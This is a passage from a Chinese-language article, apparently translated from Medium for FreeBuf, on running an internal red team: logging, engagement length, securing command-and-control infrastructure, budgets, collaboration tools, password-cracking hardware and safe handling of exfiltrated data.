就是说,定性地查看结果应该可以很好地说明团队的表现。您可以比较已完成的操作数量,目标的复杂性和重要性,已实现的结果以及已交付的有意义的更改。

行动的起点

起点因操作而异。一些内部团队通常认为他们可以访问其中一台内部计算机,而其他一些则更喜欢每次都突破边界。这两种方法都有好处,每次重新启动都会使您的边界受到控制,而从内部重新启动可以节省时间和金钱,从而可以使您更多地关注组织的内部。

操作日志

团队必须在操作过程中保留详细的事件日志,包括日期,时间,采取的行动,执行的命令,执行的位置等。这将有助于检测小组将其在传感器上看到的事件与进攻性安全小组的行动相关联。 。

与组织的检测团队合作非常重要,因为有时由于来自传感器的数据量很大,很难找到红色团队生成的事件。

时间

参与多少次以及持续多长时间取决于参与的复杂性,业务规模和团队规模。手术时间限制为两个月至三个月。红队的参与度不得少于三周。

基础设施

安全审查

经营一支红色团队的挑战之一是在不与公司网络过于分离的情况下,切实地模仿对手。

在某个时候,团队的网络将可以直接访问组织的重要服务器和个人计算机,并且必须受到保护。

泄露的数据必须进行加密传输,并存储在安全的地方。屏幕截图,操作说明,发现的秘密以及红色团队参与的其他产品也必须得到适当保护。

基础架构可以通过云和本地功能的组合来构建,例如,主命令和控制可以托管在组织的数据中心内部,而流量代理可以部署在云中。该团队应由适当的安全团队审查其基础结构设计或“基础结构即代码”。

必须信任团队来部署他们自己的基础结构,以允许灵活性和独立性来针对任何特定的操作或对手情况进行调整,并且应该为他们提供安全地这样做的资源。

Appsec团队还可以检查恶意软件代码的安全漏洞,但是,需要达成协议,避免在检查过程中信标及其通信协议的指纹。

另一个重要方面是采购不受组织管理的专用运营商笔记本电脑。如果必须擦拭硬盘驱动器,使用它们将有助于保持机密性并允许重新成像。

预算

预算可分为两个领域:可预测的年度预算和运营支出。人员,设备,培训和研发是年度团队预算的一部分。营业费用是指每项单独操作产生的费用。这些可以包括采购专用工具,云基础架构,源代码等,以实现运营目标。

对我来说,运营费用的批准流程需要简单而有效的流程,因此团队不会在等待数周之久才能获得所需工具的过程中陷入困境。

协作工具

根据您计划红队拥有多少隐私和真实性,您可能希望将其协作工具与组织的其他部分分开。

虽然完全保密不是协作环境中的主要关注点,但是某些操作可能会更加敏感,并且需要使用组织其余部分无法访问的工具,例如,在并购,内部威胁模拟,针对首席执行官或董事会办公室的操作中董事。

对于日常运营,可以使用公司的企业协作软件,例如云存储,聊天或类似的工具,用于记笔记,报告和其他业务活动。

密码破解装备

该团队可能需要密码破解功能。他们可能选择使用云提供商的GPU实例或构建密码破解装备。如果团队也在进行漏洞研究,他们将需要专用的模糊服务器。

信息泄露

运营期间收集的信息可以大致分为两类:漏洞和商业秘密。

漏洞是团队进一步进行操作的手段,例如有关错误配置,错误,密码等的信息。可以将漏洞安全地保存在注释中。

商业秘密是如果被盗可能对组织造成损害的数据。被窃取的数据只能通过加密的通道传输,并存储在安全的位置。一些组织可能选择泄露相同大小的随机数据以证明这一点而不会危害组织的秘密或根本不泄露任何东西。

结论

攻击性安全是组织保护其专有信息和客户的工作的重要组成部分。虽然红队不是很复杂,但他们需要领导的支持和理解才能有效地执行。

*参考来源:medium,FB小编周大涛编译,转载请注明来自FreeBuf.COM